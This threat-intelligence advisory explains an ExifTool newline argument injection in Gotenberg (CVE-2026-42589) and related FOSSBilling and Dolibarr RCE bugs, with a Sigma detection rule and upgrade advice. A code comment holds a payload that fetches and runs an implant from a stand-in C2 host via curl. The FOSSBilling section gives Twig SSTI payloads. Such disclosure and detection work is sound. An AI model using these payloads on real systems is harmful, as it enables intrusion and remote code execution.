Skip to content

CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool Newline Argument Injection RCE Exploited in the Wild (cache_base Go Implant) & Companion RCE Chains in FOSSBilling & Dolibarr ERP/CRM (CVE-2026-28496, CVE-2026-116219, CVE-2026-116218)

Density:
C-Level Executive Briefing CVE-2026-42589 CRITICAL SCORE 98/100

Critical active in-the-wild exploitation and pre-authentication RCE cluster published by VulnCheck Initial Access Intelligence on October 27, 2026. Under CVE-2026-42589 (CVSS 9.8 / VulnCheck Weaponized 9.5), Gotenberg prior to version 8.31.0 passes JSON keys from the /forms/pdfengines/metadata/write endpoint directly to a persistent ExifTool process (via go-exiftool) without stripping newline characters (\n). Injecting a newline into a JSON metadata key splits the ExifTool argument stream and injects the -if option to evaluate arbitrary Perl expressions (system(...)), yielding unauthenticated single-request RCE. VulnCheck's telemetry investigation ('Cache Me If You Can') caught threat actors exploiting CVE-2026-42589 in the wild to drop a custom stripped Go reverse-shell implant named cache_base (/home/ubuntu/cache_base.go). Analyzed alongside FOSSBilling (< 0.8.0) pre-authentication RCE chaining a missing 'throw' statement in the API router with unsandboxed Twig SSTI (CVE-2026-28496), and Dolibarr ERP/CRM OS command injection via mysqldump in htdocs/admin/tools/export.php (< 24.0.0, CVE-2026-116219) and SQL injection via the bankaccounts REST API type field (19.0.0 before 23.0.4, CVE-2026-116218).

HYBRID

HERMES THREAT SCORE & IN-THE-WILD DOCUMENT ENGINE / ERP RCE EVALUATION

Target: Gotenberg /forms/pdfengines/metadata/write (go-exiftool), FOSSBilling API Router & Twig Engine & Dolibarr export.php (mysqldump) / bankaccounts API
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

Standard CVSS v3.1 metrics score CVE-2026-42589 and CVE-2026-28496 at 9.8 (Critical), while VulnCheck flags the entire clusterโ€”including Dolibarr CVE-2026-116219 and CVE-2026-116218โ€”at 9.5 (Weaponized). The Hermes Threat Score assigns 98 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 92 (CRITICAL). Gotenberg is widely deployed as a stateless Docker microservice for PDF conversion and metadata manipulation across enterprise applications and AI document-generation pipelines. Because /forms/pdfengines/metadata/write passes JSON metadata keys to a persistent ExifTool process (-stay_open True -@ -) without rejecting newline characters, a single multipart POST request containing a '\n-if\n' Perl evaluation payload achieves immediate unauthenticated RCEโ€”actively exploited in the wild to drop the 'cache_base' Go implant. Paired with FOSSBilling's missing-'throw' API router authentication bypass + Twig SSTI pre-auth RCE chain (CVE-2026-28496) and Dolibarr ERP/CRM's restrict_os_commands bypass via mysqldump (CVE-2026-116219) and bankaccounts SQLi (CVE-2026-116218), this cluster represents an active initial-access emergency.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool Newline Argument Injection RCE Exploited in the Wild (cache_base Go Implant) & Companion RCE Chains in FOSSBilling & Dolibarr ERP/CRM (CVE-2026-28496, CVE-2026-116219, CVE-2026-116218)VULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTOracle MySQL Server & Database Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”

Supporting Verified Evidence:

On October 27, 2026, VulnCheck Initial Access Intelligence published two major exploit-intelligence deep dives and two companion ERP/CRM advisories detailing active in-the-wild exploitation of containerized PDF engines (Gotenberg), pre-authentication RCE chains in hosting/billing automation (FOSSBilling), and command/SQL injection in enterprise ERP/CRM systems (Dolibarr):

  1. CVE-2026-42589 (CWE-88 / CWE-78, CVSS 9.8 Critical / VulnCheck 9.5 Exploited in the Wild โ€” Gotenberg < 8.31.0 ExifTool Newline Argument Injection RCE & cache_base Go Implant): Gotenberg (gotenberg/gotenberg), the ubiquitous Docker-powered stateless API for converting HTML, Markdown, and Office documents to PDF, exposes /forms/pdfengines/metadata/write to write XMP/PDF metadata via ExifTool (barasher/go-exiftool). Prior to 8.31.0, Gotenberg formatted each key-value pair from the callerโ€™s metadata JSON form field as -<key>=<value> and wrote it to the persistent exiftool -stay_open True -@ - stdin pipe without validating or rejecting newline characters (\n, 0x0a) in JSON keys. By embedding \n-if\n<Perl_Expression>\n inside a JSON key, an unauthenticated remote attacker injects the ExifTool -if flag, which evaluates arbitrary Perl code (system(...)) on the host container. In โ€œCache Me If You Can: Unpacking a Go Implant and Its Toolkitโ€, VulnCheck documented real-world threat actors exploiting CVE-2026-42589 to deploy a stripped Go reverse shell and post-exploitation implant named cache_base (compiled from /home/ubuntu/cache_base.go).
  2. CVE-2026-28496 (CWE-287 / CWE-1336, CVSS 9.8 Critical / VulnCheck 9.5 Weaponized โ€” FOSSBilling < 0.8.0 Missing-throw Auth Bypass & Twig SSTI to Unauthenticated RCE): In FOSSBilling (FOSSBilling/FOSSBilling) prior to 0.8.0, the API request dispatcher instantiated an authentication exception (new \FOSSBilling\InformationException(...)) when verifying role permissions without the throw keyword, causing authentication checks to silently succeed. Chaining this authentication bypass with an unsandboxed Twig Server-Side Template Injection (SSTI) primitive allows an unauthenticated attacker to access the Pimple Dependency Injection container ({{ di }}), execute arbitrary SQL queries, extract administrator credentials, and upload a malicious extension to achieve full Remote Code Execution.
  3. CVE-2026-116219 & CVE-2026-116218 (CWE-78 / CWE-89, VulnCheck 9.5 Weaponized โ€” Dolibarr ERP/CRM < 24.0.0 OS Command Injection via mysqldump & 19.0.0 before 23.0.4 SQL Injection via bankaccounts API): In Dolibarr ERP/CRM (Dolibarr/dolibarr), htdocs/admin/tools/export.php prior to 24.0.0 allows bypassing the restrict_os_commands allowlist by injecting shell metacharacters or argument chains through the mysqldump backup binary parameter (CVE-2026-116219), while the REST API endpoint for third-party bankaccounts (19.0.0 before 23.0.4) concatenates the type field directly into a SQL query (CVE-2026-116218).

1. CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool -stay_open Newline Argument Injection

Section titled โ€œ1. CVE-2026-42589: Gotenberg (< 8.31.0) ExifTool -stay_open Newline Argument Injectionโ€

When an HTTP client sends a multipart/form-data POST request to /forms/pdfengines/metadata/write with a PDF file and a metadata JSON string, Gotenbergโ€™s pdfengines module parses the JSON object into a map[string]interface{} and passes each key-value pair to go-exiftool. Under the hood, go-exiftool communicates with a long-running exiftool -stay_open True -@ - subprocess by writing one CLI flag per line to stdin, terminated by -execute\n:

// VULNERABLE PATTERN: Gotenberg < 8.31.0 (CVE-2026-42589)
// Component: pkg/modules/pdfengines / go-exiftool Metadata Writer
package pdfengines
import (
"encoding/json"
"fmt"
)
func buildExifToolArgs(metadataJSON []byte, pdfPath string) ([]string, error) {
var metadata map[string]interface{}
if err := json.Unmarshal(metadataJSON, &metadata); err != nil {
return nil, err
}
var args []string
for key, val := range metadata {
// FLAW (CWE-88): `key` is not validated against newline ('\n' / '\r') characters!
// When written to `exiftool -stay_open True -@ -`, each '\n' starts a brand-new CLI argument.
// Payload key: "Author=Hermes\n-if\n${eval(system('curl -fsSL http://c2/cache_base -o /tmp/cb && chmod +x /tmp/cb && /tmp/cb'))}\n-Title"
args = append(args, fmt.Sprintf("-%s=%v", key, val))
}
args = append(args, pdfPath)
return args, nil
}

When ExifTool reads the newline-split stream from -@ -, it encounters:

-Author=Hermes
-if
${eval(system('...'))}
-Title=test
/tmp/input.pdf
-execute

ExifTool evaluates the -if expression as Perl code for every processed file, executing arbitrary OS commands as the gotenberg container user before version 8.31.0 enforced strict character validation on metadata keys.

2. CVE-2026-28496: FOSSBilling (< 0.8.0) Missing throw Authentication Bypass to Twig SSTI RCE

Section titled โ€œ2. CVE-2026-28496: FOSSBilling (< 0.8.0) Missing throw Authentication Bypass to Twig SSTI RCEโ€

In FOSSBilling prior to 0.8.0, the API router inspected whether a request targeting a protected endpoint had a valid authenticated session. Due to a critical coding omission, the developer instantiated the exception object without throwing it:

<?php
// VULNERABLE PATTERN: FOSSBilling < 0.8.0 (CVE-2026-28496)
// Stage 1: API Router Authentication Bypass (Missing `throw` keyword โ€” CWE-287)
namespace FOSSBilling;
class ApiRouter {
public function checkPermission(string $role): void {
if (!$this->isAuthenticated($role)) {
// CRITICAL BUG: Missing `throw` keyword!
// Instantiates the Exception object and immediately discards it, allowing
// unauthenticated requests to proceed into protected API controllers!
new InformationException('You do not have permission to access this API endpoint', [], 403);
}
}
}
// Stage 2: Unsandboxed Twig Server-Side Template Injection (CWE-1336)
// Once inside the API, the attacker renders an attacker-controlled template string via Twig
// where the full Pimple Dependency Injection container (`$di`) is exposed in the template context:
// Payload: {{ di['db'].exec("INSERT INTO admin ...") }} or {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

3. CVE-2026-116219 & CVE-2026-116218: Dolibarr ERP/CRM mysqldump Command Injection & bankaccounts SQLi

Section titled โ€œ3. CVE-2026-116219 & CVE-2026-116218: Dolibarr ERP/CRM mysqldump Command Injection & bankaccounts SQLiโ€
  • CVE-2026-116219 (htdocs/admin/tools/export.php, < 24.0.0): When generating a MySQL/MariaDB database backup, Dolibarr constructs a command line using the configured mysqldump path/parameter. Even when Dolibarrโ€™s restrict_os_commands defense is active, insufficient sanitization of arguments appended to the mysqldump invocation allows command chaining or arbitrary file write/execution.
  • CVE-2026-116218 (REST API bankaccounts, >= 19.0.0, < 23.0.4): In the third-party bank accounts API handler, the type parameter is interpolated into the SQL filter clause without integer casting or db->escape(), permitting authenticated API users with basic societe permissions to extract arbitrary database tables via SQL injection.
flowchart TD
subgraph GotenbergWild["CVE-2026-42589: Gotenberg (< 8.31.0) In-The-Wild RCE ('Cache Me If You Can')"]
G1["Unauthenticated POST /forms/pdfengines/metadata/write"]
G2["JSON Metadata Key Contains '\\n-if\\n' Perl Eval Payload"]
G3["go-exiftool Writes Unsanitized Lines to 'exiftool -stay_open True -@ -'"]
G4["Perl system() Drops & Executes Stripped Go Implant 'cache_base' (/home/ubuntu/cache_base.go)"]
G1 --> G2 --> G3 --> G4
end
subgraph FOSSDolibarr["CVE-2026-28496 (FOSSBilling < 0.8.0) & CVE-2026-116219 / 116218 (Dolibarr)"]
B1["CVE-2026-28496: Missing 'throw' Before new InformationException() in FOSSBilling API"]
B2["Unauthenticated Access to Twig Renderer -> SSTI Accessing {{ di }} -> Pre-Auth RCE"]
D1["CVE-2026-116219: Dolibarr export.php mysqldump restrict_os_commands Bypass -> OS RCE"]
D2["CVE-2026-116218: Dolibarr REST API bankaccounts Unescaped 'type' Field -> SQLi"]
B1 --> B2
end
style G3 fill:#ff1a1a,stroke:#800000,color:#ffffff
style G4 fill:#ff4d4d,stroke:#990000,color:#ffffff
style B1 fill:#ff6600,stroke:#993300,color:#ffffff
style B2 fill:#ff1a1a,stroke:#800000,color:#ffffff

To detect active exploitation of Gotenberg CVE-2026-42589 and the cache_base Go implant, FOSSBilling CVE-2026-28496, and Dolibarr CVE-2026-116219 / CVE-2026-116218, deploy the following multi-layered detection suite:

title: Gotenberg ExifTool RCE (CVE-2026-42589 / cache_base Implant) & Dolibarr mysqldump Command Injection (CVE-2026-116219)
id: 42589a11-2026-4b99-8c33-gotenbergcache27
status: experimental
description: Detects perl/exiftool spawning shell or network utilities inside Gotenberg containers, execution of the 'cache_base' Go implant (/home/ubuntu/cache_base.go), or anomalous mysqldump child processes in Dolibarr ERP/CRM.
references:
- https://vulncheck.com/blog/cache-me-if-you-can
- https://vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
- https://vulncheck.com/advisories/dolibarr-erp-crm-before-24.0.0-os-command-injection-via-mysqldump-parameter
author: Hermes Threat Intelligence
date: 2026/10/27
logsource:
category: process_creation
product: linux
detection:
selection_exiftool_rce:
ParentImage|endswith:
- '/exiftool'
- '/perl'
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/curl'
- '/wget'
- '/cache_base'
selection_cache_base_implant:
Image|contains: 'cache_base'
condition: selection_exiftool_rce or selection_cache_base_implant
falsepositives:
- None expected; ExifTool inside Gotenberg should never spawn interactive shells or curl/wget
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.t1190
- attack.t1059.004
- cve.2026-42589
- cve.2026-28496
- cve.2026-116219
- cve.2026-116218

  1. Upgrade Gotenberg to >= 8.31.0 & Isolate Container Egress (CVE-2026-42589):
    • Immediately update all Gotenberg container images to gotenberg/gotenberg:8.31.0 or later, which strictly validates metadata keys and rejects newline/control characters before invoking go-exiftool.
    • Never expose Gotenberg (port 3000) directly to the public Internet; bind it to an internal service mesh with authentication and restrict outbound container egress (--network / Kubernetes NetworkPolicy) so exiftool cannot initiate external C2 connections.
    • Scan existing Gotenberg hosts and /tmp, /var/tmp, and /dev/shm for the cache_base Go binary (/home/ubuntu/cache_base.go).
  2. Upgrade FOSSBilling to >= 0.8.0 (CVE-2026-28496):
    • Upgrade FOSSBilling to version 0.8.0 or later to restore the missing throw statement in the API authentication dispatcher and sandbox Twig template rendering.
  3. Upgrade Dolibarr ERP/CRM to >= 23.0.4 / >= 24.0.0 (CVE-2026-116218, CVE-2026-116219):
    • Upgrade Dolibarr ERP/CRM to 23.0.4 (to remediate the bankaccounts REST API type SQL injection, CVE-2026-116218) and 24.0.0 (to remediate the mysqldump OS command injection in htdocs/admin/tools/export.php, CVE-2026-116219).